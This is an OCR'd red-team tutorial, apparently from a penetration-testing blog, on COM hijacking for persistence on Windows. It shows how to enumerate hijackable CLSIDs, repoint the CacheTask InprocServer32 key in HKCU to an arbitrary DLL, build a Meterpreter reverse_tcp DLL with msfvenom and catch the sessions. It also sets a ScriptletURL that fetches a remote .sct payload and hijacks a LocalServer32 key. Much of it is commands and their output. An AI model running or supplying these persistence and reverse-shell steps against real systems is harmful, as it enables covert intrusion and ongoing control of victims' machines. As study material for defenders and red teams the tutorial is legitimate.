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B Process Monitor Filter

Display entries matching these conditions:
Path ~ | |i w | | ~ | then |Excude ~
Reset Add Femowve
Column Relation Value Action &
@Opﬁﬂﬁﬂﬂ is RegOpenkey Include
€ Result is NAME NOT FO...  Include
@ Path ends with InprocServerd2 Include
@ Process N... is Procmon exe Exclude
a Process N... is Procexp exe Exclude
a Process N... is Autoruns exe Exclude
[ €8 Process N is Procmonfd exe Faclide N
Cancel Apply

COM Hijacking — Process Monitor Filters

Microsoft introduced Component Object Model (COM) in Windows 3.11 as a method to
implement objects that could be used by different frameworks (ActiveX, COM+, DCOM etc.)
and in different Windows environments allowing interoperability, inter-process communication
and code reuse. Abuse of COM objects enables red teams to execute arbitrary code on behalf
of a trusted process. Administrator privileges are not required to perform COM Hijacking since
classes in the HKCU registry hive are executed prior to the classes in HKLM. The only
exception affects high integrity processes (elevated) which objects are loaded only from
HKLM location to prevent elevation of privileges.

There are multiple methods that execution of code can be achieved but there are several
cases which COM has been used in red teaming scenarios for persistence, lateral movement
and defense evasion. Depending on how the malicious code will executed various registry
sub-keys are used during COM Hijacking. These are:

¢ InprocServer/InprocServer32
e LocalServer/LocalServer32
e TreatAs

e ProglD
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The above sub-keys are under the following registry hives:

« HKEY_CURRENT_USER\Software\Classes\CLSID
o HKEY_LOCAL_MACHINE\Software\Classes\CLSID

Discover COM Keys — Hijack

Identification of COM keys that could be used to conduct COM hijacking is trivial and requires
the use of Process Monitor in order to discover COM servers which are missing CLSID’s and
doesn’t require elevated privileges (HKCU). Process Monitor can be configured with the
following filters:

Operation is RegOpenKey
Result is NAME NOT FOUND
Path ends with InprocServer32
Exclude if path starts with HKLM

[N Process Menitor Filter

Display entries matching these conditions:
Path ~ ||ig R | | ~ | then Exdude
Reset Add Remove

Calumn Relation Value Action 2
@Opemtiun is RegOpenkey Include

@ Result is NAMENOT FO...  Include

@ Path ends with InprocServerd2 Include

@ Process M... is Procmon.exe Exclude

@ Process M... is Procexp exe Exclude

a Process M... is Autoruns exe Exclude

[] €28 Process N [ Procmonfd exe Frclude N

Cancel | | osly

COM Hijacking — Process Monitor Filters

Opening files and executing tasks like a standard user will produce a list with COM keys that
could be hijacked in order to load an arbitrary library to a trusted process.
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https://download.sysinternals.com/files/ProcessMonitor.zip

- : - .
= Process Monitor - Sysinternals: www.sysinternals.com

File

Edit Event Filter Tools Options Help

E2EH KABE| YAZ B AN RD Lo

Process Mame
Explorer. EXE

The results could be used directly or exported in various formats like CSV and XML.

A PowerShell script called acCOMplice developed by David Tulis contains a function which
can take process monitor results in CSV format in order to extract keys that could be hijacked.

PID Operation
RegOpenkey

Fath

HKCUNSoftware'\Classes\CLSIDVAD14...

Result Detail

NAME NOT FOUND Desired Access: Q...

... 1 Explorer.EXE 2516 @ RegOpenkey  HKCLMSoftware'Classes\CLSIDVADT4.. NAME NOT FOUND Desired Access:
3:48:4... "j Explorer. EXE 2516 #ERegOpenkey  HKCU\Software\Classes\CLSIDNWAD14... NAME NOT FOUND Desired Access:
3:48:4... "j Explorer. EXE 2516 #ERegOpenkey  HKCU\Software\Classes\CLSIDNWAD14... NAME NOT FOUND Desired Access:
3:48:4... "j Explorer. EXE 2516 ﬁﬂeg@penl{e:.' HKCZUNSoftware'\Classes\CLSIDVAD 14, NAME NOT FOUND Desired Access:
3:48:4... "j Explorer. EXE 2516 ﬁﬂeg@penl{e:.' HKCZUNSoftware'\Classes\CLSIDVAD 14, NAME NOT FOUND Desired Access:
3:52:1... Wesvchost.exe 232 ﬁﬂeg@penl{e:.' HKCZUNSoftware'\Classes\CLSIDW{0430... NAME NOT FOUND Desired Access:
3:52:1... 'W-svchost.exe 232 ﬂﬂeg@penl{e:.' HKCRWCLSIDW{049054B5-E524-41B2-... NAME NOT FOUMND Desired Access:
3:52:1... 'W-svchost.exe 232 ﬂﬂeg@penl{e:.' HKC LU SoftwareClasses \CLSIDVFEST... NAME NOT FOUND Desired Access:
3:52:1... 'W-svchost.exe 232 ﬂﬂeg@penl{e:.' HKC LU SoftwareClasses \CLSIDVFEST... NAME NOT FOUND Desired Access:
3:52:1... M- svchost.exe 22 ﬁﬂeg@penl-(e:.' HKC U SoftwareClasses \CLSIDW{FEET... NAME NOT FOUND Desired Access:
3:52:1... M- svchost.exe 22 ﬁﬂeg@penl-(e:.' HKC U SoftwareClasses \CLSIDW{FEET... NAME NOT FOUND Desired Access:
3:52:1... M- svchost.exe 22 ﬁﬂeg@penl-(e:.' HKC U SoftwareClasses \CLSIDW{FEET... NAME NOT FOUND Desired Access:
3:52:1... W-svchost.exe 2z ﬂﬂeg@penl(e:.' HKC LU Software Classes \CLSIDW{BFAS... NAME NOT FOUND Desired Access:
3:52:1... W-svchost.exe 2z ﬂﬂeg@penl(e:.' HKCRWCLSID'{BFAS4069-363A-426A-B...NAME NOT FOUND Desired Access:
3:54:0... "7 Explorer. EXE 2516 ﬂﬂeg@penl(e:.' HKC U SoftwareClasses \CLSIDW{4234.. NAME NOT FOUND Desired Access:
3:54:0... 'pa Explorer. EXE 2516 ﬂﬂeg@penKe:.' HKC U\ Software Classes \CLSIDW{4234... NAME NOT FOUND Desired Access:
3:54:0... 'pa Explorer. EXE 2516 ﬂﬂeg@penKe:.' HKC U\ Software Classes \CLSIDW{4234... NAME NOT FOUND Desired Access:

COM Hijacking — Process Monitor Results

Save To File

Events to sawve:

() all events

(®) Events displayed using current filter
Also indude profiling events
() Highlighted events

Format:

() Native Process Monitor Format (PML)
(®) Comma-Separated Values (C5V)
() Extensible Markup Language (ML)

Indude stack traces (will increase file size)

Resolve stack symbals {will be slow)

Path: |C:‘n,l_.lsers‘n,neﬁ:insX\Deskmp‘nFrncEssMnnih:r‘npentesﬂab.CS".-'| |

Process Monitor — CSV Export

Cancel

(=]

EERPVIE=EEZEE=DDDEE=OEE

1 Extract-HijackableKeysFromProcmonCSV -CSVfile .\pentestlab.CSV


https://github.com/nccgroup/acCOMplice
https://twitter.com/kafkaesqu3

2 Administrator: Windows PowerShell

Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PouwerShell https://aka.ms/pscoreé

.A\pentestlab.
E;plcreﬂ EXE,
> lcrer E {E,Al

FEU”FEEB B8 34 4424- 1Dt-F"lEA"‘EIE
COMplice\COMHi kToolkit> _

AcCOMplice — Extract Hijackable Keys

The tool has also a function which can retrieve directly the missing libraries that exist on the
system and their CLSID’s.

1 Find-MissinglLibraries

2 Administrator: Windows PowerShell

Windows PowersShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowersShell https://aka.ms/pscore6

ce\COMHijac \
Import-Modu M ackToolkit.psl

o o0
Lo

Window:
Window

7-8bf5-4df6- "‘534 B8f5e

:EE—EBI-'ZI.—:-‘ICF:L—E‘-DZLS—E‘- indow hod ' SHA cerDictDs.d11
! EM.d11

\SecurityHealthAgent.dll

library: :

Finding Missing Libraries

An alternative method is by executing the following PowerShell snippet as it has has been
demonstrated by bohops in his article about Abusing the COM Registry Structure. This can be
used to enumerate “LocalServer32” classes that could be hijacked:
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$inproc = gwmi Win32 COMSetting | ?{ $ .LocalServer32 -ne $null }
$inproc | ForEach {$ .LocalServer32} > values.txt

$paths = gc .\values.txt

foreach ($p in $paths){$p;cmd /c dir $p> $null}

A ODN -

osoft Corpor

) values.txt - Notepad

File Edit Format View Help

P%ProgramFileSX\Internet Explorer\iexplore.exe"
%SystemRoot®\system32\browser_broker.exe

"%SystemRoot¥\System32\rundl132.exe” "¥ProgramFiles¥\Windows Photo Viewer\PhotoAcq.d11",AutoplayComServeri {8@f2b433-44ed-4d88-b2t
"C:\Program Files\Common Files\Microsoft Shared\Ink\InputPersonalization.exe"
C:\Windows\System32\EdpNotify.exe

%systemroot®\system32\WinrsHost.exe

"%ProgramFiles¥%\Windows Media Player\wmprph.exe"
%SystemRoot®\system32\plasrv.exe

%SystemRoot®\system32\plasrv.exe

#SystemRoot®\system32\plasrv.exe

%SystemRoot®\system32\plasrv.exe

%SystemRoot¥\system32\plasrv.exe

%SystemRoot®\system32\plasrv.exe

%SystemRoot®\system32\plasrv.exe

%SystemRoot¥\system32\plasrv.exe

%SystemRoot®\system32\plasrv.exe

%SystemRoot®\system32\plasrv.exe

%SystemRoot¥\system32\plasrv.exe

%SystemRoot®\system32\plasrv.exe

%SystemRoot%\system32\plasrv.exe

%SystemRoot#\system32\plasrv.exe

%SystemRoot®\system32\plasrv.exe

%SystemRoot¥\system32\plasrv.exe
C:\Windows\System32\Speech_OneCore\Common\SpeechRuntime.exe
%SystemRoot®\System32\rundl132.exe shell32.d11,SHCreatelocalServerRunDll {@A6AEAD9-5A27-4D3C-8A67-F82552EBA91B}
%SystemRoot®\System32\fsquirt.exe

"%CommonProgramFiles¥\microsoft shared\ink\TabTip.exe"
C:\Windows\System32'\Logagent.exe
#%SystemRoot®\winsxs\amdbd_microsoft-windows-servicingstack_31bf3856ad364e35_10.08.18362.144 none_5f365e4058e531c4\TiWorker.exe
%SystemRoot®\System32\ProximitylUxHost.exe

Enumerate LocalServer32 Values
Similarly the following PowerShell code can enumerate InprocServer32 classes:
1 $inproc = gwmi Win32 COMSetting | ?{ $ .InprocServer32 -ne $null }

2 $paths = $inproc | ForEach {$ .InprocServer32}
3 foreach ($p in $paths){$p;cmd /c dir $p> $null}
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> Administrator: Windows PowerShell

Windows Pouwershell
Copyright (C) Microsoft Corporation. All rights reserwved.

Try the new cross-platform PowerShell https://aka.ms/pscoreb

PS C:\Windows\system32> %inproc gumi Win32_ COMsetting | ?{ % .InprocServer32 $null }
PS C:\Windows\system32> $paths $inproc | ForEach {% .InprocServer32}
PS C:\Windows\system32» foreach ($p in $paths){$p;cmd fc dir $p > $null}

Enumerate InprocServer32 Values

Executing the snippet will produce a list of COM libraries that could be investigated for COM
hijacking opportunity.

2 Select Administrator: Windows PowerShell

C:\Windows\System32\iaZcomproxy.dll
RSystemRoot®\system32\SettingSyncCore.dll
C:\Windows\System32\wercplsupport.dll
[ESystemRoot#\system32\explorerframe.dll
C:\Windows\System32\mfvdsp.dll
ESystemRoot®\System32\provsvc.dll
Hsystemroot®\system32hcertenc.dll
C:\Windows\System32\IME\IMEJP\imjpapi.dll

The system cannot find the path specified.
C:\Windows\System32\mscoree.dll
eSystemRoot®\system32\shell32.d11

Sy stemRoot®\system32\twinui.pcshell . dll
C:\Windows\System32\DeviceElementSource.dll
C:\Windows\System32\AuthFWGP.d11
SystemRoot®\System32\shdocvw.dll
%systemRoot®\system32\SettingMonitor.dll
C:\Windows\System32\mscoree.dll
C:\Windows\System32\DDOIProxy.dll
[ASystemRoot#\system32\CapabilityAccessHandlers.dll
C:\Windows\System32\ContactApis.dll
C:\Windows\System32\Windows.UI.Immersive.dll
C:\Windows\System32\PhonePlatformAbstraction.dll
[ESystemRoot#\system32\windowscodecs.d1l
C:\Windows\System32\twinapi.appcore.dll
PeSystemRoot®\System32\vdsdyn.dll
C:\Windows\System32\InkObjCore.dll
C:\Windows\System32\IME\SHARED\ imedicapiccps.dll
The system cannot find the path specified.
%systemRoot®\system32\windows . storage.dll

Enumerate InprocServer32 Results

Discover COM Keys — Scheduled Task

Matt Nelson and Matthew Graeber developed a PowerShell script (Get-
ScheduledTaskComHandler) which can check all scheduled tasks on the host that execute on
user logon and are vulnerable to COM hijacking.



https://twitter.com/enigma0x3
https://twitter.com/mattifestation
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1

1 Import-Module .\Get-ScheduledTaskComHandler.psl
2 Get-ScheduledTaskComHandler

=l = =]

LA LA LA

TaskMame
CLSID
D11
Logon

IsUserContext :

TaskMName
CLSID
D11
Logon

IsUserContext :

TaskMName
CLSID
D11
Logon

IsUserContext :

The parameter “PersistenceLocations” will retrieve schedule tasks vulnerable to COM
hijacking that could be used for persistence and they don’t require elevated privileges. The
CLSID and the associated DLL will also displayed in the output.

1 Get-ScheduledTaskComHandler

C:\Windows\system32> cd C:\temp'
temp> Import-Module .\Get-ScheduledTaskComHandler.psl
C:\temp> Get-ScheduledTaskComHandler

.NET Framework NGEN v4.8.38319

: {BAFBFAE1-C27B-4F6F-8B7B-28CF6F96 3
: C:\Windows\System32\mscoree.dll

False
False

.NET Framework NGEN v4.8.328319 &4

: {429BCGA8-379E-4A5EG-8BE4-EB1977941B5C}
: C:\Windows\System32\mscoree.dll

False
False

: .NET Framework NGEN v4.8.38319 64 Critical
: {B613FBA38-A3DF-4AB8-9674-5604984A2994}

: C:\Windows\System32\mscoree.dll

False

False

COM Hijacking — Retrieve Scheduled Tasks

-Persistencelocations
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2 Administrator: Windows PowerShell

PS C:\temp» Get-ScheduledTaskComHandler

TaskName
CLSID

D11

Logon
IsUserContext

TaskName

Logon
IsUserContext

TaskName
CLSID

D11

Logon
IsUserContext

TaskName
CLSID

D11

Logon
IsUserContext

The task “CacheTask” when invoked uses the “wininet.dIl’ and has the following CLSID:

H Y RHF Rloht

True
True

C:\Window
True
True

KeyPreGenTas
{47E30D54-

True
True

UwerTawk

Polirv Template Management (Automated)
7633E36EGA32}

2\msdrm. d11

k

1-473A-AFF7-2355BF7
C:\Windows\system32\ngctasks.dll

85-4E55-ACE4

427593B1D068}

_.hU1ndow515y5tem32hdim5job.dll

True
True

COM Hijacking — Persistence Locations

{0358B920-0AC7-461F-98F4-58E32CD89148}
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2 Administrator: Windows PowerShell

2 True

COM Hijacking — CacheTask

The CLSID and the associated DLL can be also obtained from the configuration file of the
task. This file is stored in the following location:

1 C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask

9/29



File Home

=

Past

Alternatively, invoking the “schtasks” utility from the PowerShell console with the parameters

=1 X cu
2 Copy

Clipboard

View

Courier New

Font

Paragraph

=g e R

Picture

Paint Date and Insert
drawing time  object Select all
Insert Editing
I .g...,...1...,...2...,...; ; . ; B ;
<?xml version="1.0" encoding="UTF-16"7>
<Task

xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<SecurityDescriptor>D:F(A;;FA;;;BA) (A;;FA;;;SY)
(R; ; 0x001200a9; ; ; BU) (A;; 0x001200a%; ; ;WD) (A; ; 0%x001200a9; ; ; LW)
</8ecurityDescriptor>
<Author>$ (@%systemrootd\system32\wininet.d1ll,-16000)
</Author>
<Description>$ (Résystemrootb\system32\wininet.dll,-16001)
</Description>
<URI>\Microsoft\Windows\Wininet\CacheTask</URI>
</RegistrationInfo>
<Principals>
<Principal id="AnyUser">
<GroupId>S-1-5-32-545</GroupId>
</Principal>
</Principals>
<Settings>
<DisallowStartIfOnBatteries>
false</DisallowStartIfOnBatteries>
<StoplfGoingOnBatteries>false</StoplfGoingOnBatteries>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<IdleSettings>
<8topOnIdleEnd>false</StopOnldleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<UseUnifiedSchedulingEngine>
true</UseUnified3chedulingEngine>
</Settings>
<Triggers>
<LegonTrigger />
</Triggers>
<Actions Context="AnyUser">
<ComHandler>
<ClassId>{0358B520-0ACT-461F-98F4-58E32CDE%148}</ClassId>
</ComHandler>
</Actions>
</Task>

CacheTask — Configuration File

below can retrieve also the contents of the file.

1

schtasks /query /XML /TN "\Microsoft\Windows\Wininet\CacheTask"
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Bad;; ;WD) (A;;

¢Principal i
<Groupl "aroupId>

CacheTask — XML Configuration

Reviewing the task scheduler will verify that the task trigger is to start during the logon of any
user. Hijacking the CLSID will establish a persistence condition on the system.
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o Task Scheduler

File Action View Help

=75  HE

TaskScheduler
TextServicesFramewaor
Tirne Synchronization
Time Zone

TPM

UMP

UPnP

Use

WaaSMedic

WCM

WDI

Windows Activation Te
Windows Filtering Plat
Windows Subsystern F
WindowsBackup
WindowsColorsystem
Wininet

WilanSve

WOF

Workplace Join

WS

WwanSve

ERERRRERRERERERRRERRRERRRRERR

InprocServer32

Task Manager A

Actions

Marne Status Triggers Mext Run Time L

(™ CacheTask Running At log on of any user 1

< >

General Triggers  Actions Conditions Settings  History (dis| * [ *
Trigger Details (A
At log on At log on of any user

Task Scheduler — CacheTask

Wininet

E Create Basic Task...

% Create Task..

Import Task...

Display All Running T...
Enable All Tasks History

Mew Folder...

X [ Hf ]

Delete Folder
View
@] Refresh

ﬂ Help

Selected Item

[ Run

B End

4 Disable
Export..

The “InprocServer32” (In-Process Server) registry key indicates where a COM library is

located on the disk and defines the threading model. The image below demonstrate the
registry keys that exist typically in “InprocServer32°.
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i.. Registry Editor

File Edit View Favorites Help
Computer\HKEY_CLASSES_ ROOT\CLSIDN{08728914-3F57-4052-9E31-49DAECASABDA N INProcServersd

v [ {08726914-3F57-2052-93 A || Name Tpe Data
P A ab] (Default) REG_EXPANDSZ  windir%\system32\SecurityHealthAgent.dll

5 || {087798¢4-3c0a-48d4-abe!
{0386 dae5-13ba-49d6-abe
{088714E2-5783-4442-355,
{08223905-0323-4b02-982¢
{0BBEBDFB-2464-4C21-BAl
{08a99e2f-6dl6d-4b80-af52
{08d450b7-FTe5-4424-822¢
{08d5bfbf-fbca-4322-9F70-
{08DSDFDF-CHFT-404A-A
{08DFCEF6-4F00-436F-B62
{DBE4FD05-1FB3-4705-AC3
{08F91DSD-1FO0-48C2-BYl
{0BFCOBE4-CEB5-4DBE-97E
{08fedb70-9d27-4bcf-bbb
{09017262-Fdb4-4Ff2-9013-
{0913ACCF-B1AB-4EEE-A(
{09144FD6-BB2S-11DB-961

ab) ThreadingModel  REG_SZ Both

B L I Vi L,

InprocServer32 — Registry Keys

Recreating the registry key structure in the HKCU for the “Cache Task” that was discovered
above and pointing to an arbitrary DLL instead of the “wininet.dIl’ will execute the code since
the DLL located in the HKCU will be loaded prior to the HKLM.

1 HKEY LOCAL MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-
58e32cd89148}\InProcServer32
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L. Registry Editor

File Edit View Favorites Help
Computer\HKEY_CURRENT_USER!\Software' Classes\ CLSIDV{0358b920-0acT7-461f-98f4-58e32cd89148 M InProcServer32

w : CLSID -~ Mame T}'PE Data
: {Ei;;‘;iz'?ﬂﬂgﬂ:ﬁgf F) (Default) REG_SZ C:\temp)\ pentestlab.dil
v Lt “ac/ABIEEER | ab| ThreadingModel  REG_SZ Bath
InProcServer32
» Extensions

3 Local Settings

mailto
ms-actioncenter
ms-apprep

ms-cxh
ms-device-enrollment
ms-edu-secureassessment
ms-eyecontrolspeech
ms-inputapp
ms-insights
ms-ochenetwork
ms-penworkspace
ms-screenclip
mswindowsmusic
mswindowsvideo
ms-wpc

ms-xgpueject
> ProcMen.Logfile.
xbox-toui

CacheTask — CLSID Hijacked

The following DLL file will create a message box that will demonstrate a message to indicate
that code has been executed when the process “CacheTask’ is started.
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#include "pch.h"

BOOL APIENTRY D1lMain( HMODULE hModule,
DWORD ul reason for call,

LPVOID lpReserved

)

{

switch (ul reason for call)

{

case DLL PROCESS ATTACH:

MessageBox (0, L"Pentestlab COM Hijacking", 0, 0);
case DLL THREAD ATTACH:

case DLL THREAD DETACH:

case DLL PROCESS DETACH:

break;

}

return TRUE;

}

0 N O ok~ WODN -

N N | U O G G O (o )
o NOoO o~ OWDN -~ O

#include "pch.h"

BOOL APIENTRY DI11lMain( HMC

switch (

r

1
case DLL_PROCESS_ATTACH:
MessageBox(©, L"Pentestlab COM Hijacking", ©, ©);
case DLL _THREAD ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;

}

return TRUE;

DLL Message Box

The DLL needs to be dropped into disk and the sub-key “InprocServer32” needs to point to
the location of the DLL.
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File Edit

Registry Editor

View Favontes Help

Computer\HKEY_CURREMT_USER\Software' Classest CLSIDN{0358b920-0ac7-461f-93f4-58e32cd 89148 MnProcServer32

Since “CacheTask” is scheduled to start by default during the log on of any user code will

Appr3p9dgnpgwdhw)83bwidydi A
App¥dinx3azkcsshiybcbzzjpgf it
App¥djbzrhvphxted 5elgxhabbg3
AppX69r3ltbnmawqrlgdamcsnd
AppX83jqyztrifqobbTswidyZmijr
AppX8mnefoacwad3hves335dpg
AppXQkvzirdvitThwanaezbwfcdc
AppXaklhygzltpjjnxhrlpwicgnk
AppXeligdnx2pldglmw2sl3%zc
AppXeld7fy32jom floBplwzad:
Appxhhkhygrpsdn2kgterbofoatt:
AppXtkjkiveBgovszTsdydkkf56wr
AppXw3nvmat363pledeas3qg33
bingmaps
CLsID
{031E4825-TB%4-4dc3-B131-E¢
10358b920-0ac7-461f-08f4-58:
InProcServers2
Extensions

MName Type
REG_SZ
ab| ThreadingModel  REG_SZ

Data

Civtermp\COM-Hijacking.dll

Both

InprocServer32 — Hijack Registry Key DLL

executed permanently across logons (persistence).

©

File  Action

4

View Help

|z 5 HE

| Task Manager ~
| TaskScheduler

| TextServicesFramework

| Time Synchronization

| Time Zone

= TPM

1 unp

1 Upnp

1 use <

| WaaSMedic
= wem
= wol

Marme
% CacheTask

Status  Triggers

Run... Atleg on of any user

Pentestlab COM Hijacking

General

Triggers

Mext Run Time  Last Ru
1/4/202

Actions

-

listory (disabled)

| Windows Activation Techn
| Windows Filtering Platforr
| Windows Subsystem For Li
| WindowsBackup

| WindowsColarSystem

| Wininet

1 WilanSve

A malicious DLL can be generated also with Metasploit utility “msfvenom” by executing the

following command:

Name:

Author:

Location:

Description:

CacheTask

YWMicrosoft\ Windows\Wininet

Microsoft

Wininet Cache Task

COM Hijacking — MessageBox DLL

L]

Wininet

E Create Basic Task...

't Create Task...

Import Task...

Mew Folder...

x @ 0 El

Delete Folder
View

|@| Refresh
ﬂ Help
Selected ltem
P Run

Display All Runnin...
Enable All Tasks Hi...

16/29



1

msfvenom -p windows/x64/meterpreter/reverse tcp LHOST=10.0.0.1 LPORT=5555
-f dl1 > pentestlab.dll

:~# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1
LPORT=5555 -f dl1 > pentestlab.dll
[-] No platform was selected, choosing Msf ::Module:: Platform:: Windows from

the payload

[-] No arch selected, selecting arch: x64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 518 bytes

Final size of dll file: 5128 bytes

# 1

COM Hijacking — Metasploit DLL

Replacing the previous DLL with the DLL generated by Metasploit on the same registry path

that the hijacked occurred.

£ Registry Editor

File

Edit View Favorites Help

Computer\HKEY_CURREMT_USER\Software\ Classes\ CLSIDW0358b920-0acy-461f-92f4-58e32cd 89148\ InProcserver3d

o

AppX3p9ldgnpgwdhw)B3tpadydi A
AppXdinx3azkesshiybchzzjpgfle
AppXdjbzrhvphxted Selgxhabbgs
AppX6or31tbnmawqrlgdamesnd
AppX85jqyztrefqcbb7swidy2mijjr
AppX8mnifeacwd3hves535dpg
AppXSkvz3rdvBtTtwanaezbwfcde
AppXaklhygzltpjjnehrlpwtcgnk
AppXel5qdnx2pl4g0mw2d138zc
AppXeBdTfy3djcmFflx8pdwoad:
AppXhhkhyqrpsdn2kgterbgfoatt:
AppXtkjkTveBgovszisdydkkfStwr
AppXw3nvmat363pleleai3qgi3
bingmaps
CLSID
{031E4825-7B%4-4dc3-B131-E¢
{0358b920-0ac7-461f-08f4-58¢
: InProcServers2

Mame Type Data
EL] (Default) REG_SZ Chtemp'pentestlab.dll
ab| ThreadingModel  REG_SZ Both

COM Hijacking — Metasploit DLL Registry Key

Code will executed and a Meterpreter session will established every-time that a user is logon
on the target system.

17/29



metasploit v5.
1947 exploits - 1889 auxiliary - 333 post
556 payloads - 45 encoders - 1@ nops

7 evasion
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msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload windows/x6&/meterpreter/reverse_t
cp

payload = windows/x64/meterpreter/reverse_tcp

msf5 exploit( ) » set LHOST 19.0.0.1

LHOST = 10.08.0.1

msf5 exploit( ) » set LPORT 5555

LPORT = 5555

msf5 exploit( ) > exploit

Started reverse TCP handler on 10.8.8.1:5555

Sending stage (206403 bytes) to 10.8.0.2

Meterpreter session 1 opened (10.8.0.1:5555 — 10.0.0.2:49674) at 2020-
B1-04 16:24:00 -0500

meterpreter > []

COM Hijacking — Meterpreter

It is also possible to execute fileless payloads like scriptlets instead of DLL files.
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<?XML version="1.0"7>

<scriptlet>

<registration

description="Pentest.Lab"

progid="Pentest.Lab"

version="1"
classid="{AAAA1111-0000-0000-0000-00OOFEEDACDC}"
remotable="true"

0 N O ok~ WODN -

9 >

10 </registration>

11 <script language="JScript">
12 <![CDATA[

13 varr = newActiveX0Object("WScript.Shell").Run("pentestlab.exe");
14

15

16 11>

17 </script>

18 </scriptlet>

19

20

21

22

The “ScriptletURL” registry key defines the remote location of the arbitrary .sct file that will be
fetched and executed when the COM class is invoked.

i, Registry Editor
File Edit View Favorites Help
Computer\HKEY_CLASSES_ROOT\CLSIDNV AAAAT111-0000-0000-0000-0000FEEDACDC M\ ScriptietURL

~ || {AAAA1111-0000-0000-0000-0000FEEDACDC} A || Name Type Dato
s L”F"‘:;BSE""E’E 7Y (Defoult) | REG_S7 hittp://10.0.0.1/tmp/pentestiab.sct
rog
ScriptletURL

VersionlndependentProglD
[AABICTI0-3CHC-4faa-ABTE-TT198D0E2AST]
{AABE34D4-6E83-4c46-A6B3-1DF7S0DDEEOD}
[AABFB2FA-3E1E-4ABf-8077-5556FBO4EA23)
{aac1009f-ab33-48f9-9a21-7f5b38426aZe}
[AAC2BI78-2660-48ae-AA28-60A3EBBETZD0}
{AACABAIT-5228-4f c-BCCE-4497569BF4D1}
{AACE5FTD-3395-4F9B-AB09-D623A2FOTCER}
[AACASIBE-029D-4006-ADA0-723B506CFIB2}
{AAD4BDD3-81AA-3ABC-B53B-DOMMDI5BCOTE,
[AADFAZ91-4F4D-46E6-BFEE-EOA260031A01}

B L L L T

ScriptletURL — Registry Key
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Executing the following command will invoke the COM class and will execute directly the
payload.

1 rundll32.exe -sta {AAAA1111-0000-0000-0000-000OFEEDACDC}

Administrator: CAWindows\System32\emd.exe

InprocServer32 — Execute Scriptlet via ProgID

metasploit v5.0.60-dev

1947 exploits - 1089 auxiliary - 333 post
556 payloads - 45 encoders - 1@ nops

7 evasion

+*
I
I

e
n on nn
1

+*
!
I

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf5 exploit( ) » set LPORT 4446

LPORT = 44486

msf5 exploit( ) > set LHOST 10.0.0.1

LHOST = 10.8.0.1

msf5 exploit( ) > exploit

Started reverse TCP handler on 10.0.0.1:4446

Sending stage (188291 bytes) to 10.0.0.2

Meterpreter session 1 opened (10.0.0.1:4446 — 10.0.0.2:49686) at 2020-
@1-08 @7:27:58 -05080

meterpreter > |}

InprocServer32 — Meterpreter via Scriptlet

LocalServer32

LocalServer32 registry entry specifies the location on the system of an external COM object.
These are usually applications that have the form of an executable. The following COM class

20/29



ID has been retrieved earlier during the enumeration of hijackable keys can be used to
execute an arbitrary executable.

1 HKEY CLASSES ROOT\CLSID\{45EAE363-122A-445A-97B6-
3DE890OE786F8}\LocalServer32

i Registry Editor

File Edit View Favorites Help
Computer\HKEY_CLASSES ROCT\CLSIDN{45EAE363-122A-4454-97B6-3DESS0ETEEFE M LocalServer32

LocalServer32 || Mame Type Data
{45FBAB00-EGES-492E U (Default) REG_SZ CA\Windows\System32\mmgaserver.exe -simple

{45FDESED-BBC2-47:
{45ffc283-e417-dbc2-
{46031ba1-083f-47d3
146080CAT-TCBE-3A!
1461CD03F-D34E-40:
{461DEDYE-31D5-4%4
{463AE13F-CTES-357
146445657-1F22-11D4
1464510d9-3477-4c8k
{4655840e-ab1a-49d(
{4657278A-411B-11d
146615ACE-28BC-47¢
146620AA5-D393-111

FTARRIMVA AR MAQI_AAT

I i I T I i T C R

LocalServer32 — Registry Key

Replacing the default value of the application with the location on the disk of the arbitrary
executable will implement the hijack.

i, Registry Editor

File Edit View Favorites Help
Computer\HKEY_CLASSES_ROCTVCLSIDN45EAE363-122A-445A-97B6-3DESS0ETEEFE LocalServer3d

LocalServer32 ~ | Mame Type Data

143FB4600-E6EE-49.2¢ F (Default) REG 57 Chternp' pentestlab.exe
{43FD65ED-6BC2-47:

{45ffc283-e417-dbc2-
{4603 1bal1-083f-47d3
{46080CAT-TCBE-3A!
{461CDD3F-D34E-40:
{461DED9E-21D5-494
{463AE13F-CTES-357
{46445657-1F22-11D¢
{464310d9-3477-4cBk
{4655840e-ab1a-494d(

LocalServer32 — Registry Key Hijacked

It is also necessary to activate the ClassID by executing the following PowerShell command
as otherwise the COM object will be disabled.
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1 [activator]::CreateInstance([type]::GetTypeFromCLSID("45EAE363-122A-445A-
97B6-3DEB9OE786F8"))

x Administrator: Windows PowerShell

Windows Powershell
Copyright (C) Microsoft Corporation. All rights reserved.

rShell https://aka.ms/pscoreb

::CreatelInstance([ty 1 1GetTypeFromCLSID(

LocalServer32 — Activate CLSID

When the COM object will be called the arbitrary executable will run and a session will
established with the command and control system.

msf5 > use exploit/multi/handler

msf5 exploit( ) > set payload windows/meterpreter/reverse_tcp
payload = windows/meterpreter/reverse_tcp

msf5 exploit( )} » set LPORT 4446

LPORT = 4446

msf5 exploit( )} » set LHOST 19.0.8.1

LHOST = 10.0.0.1

msf5 exploit( ) > exploit

Started reverse TCP handler on 10.0.0.1:4445

Sending stage (180291 bytes) to 10.8.0.2
Meterpreter session 3 opened (10.9.0.1:45446 — 10.0.0.2:49674) at 2020-
P1-85 14:11:06 -0500

meterpreter > getuid
Server username: HOME-PC\netbiosX

meterpreter > pwd
C:\Windows\system32

meterpreter > |}

LocalServer32 — Meterpreter

TreatAs/ProgID

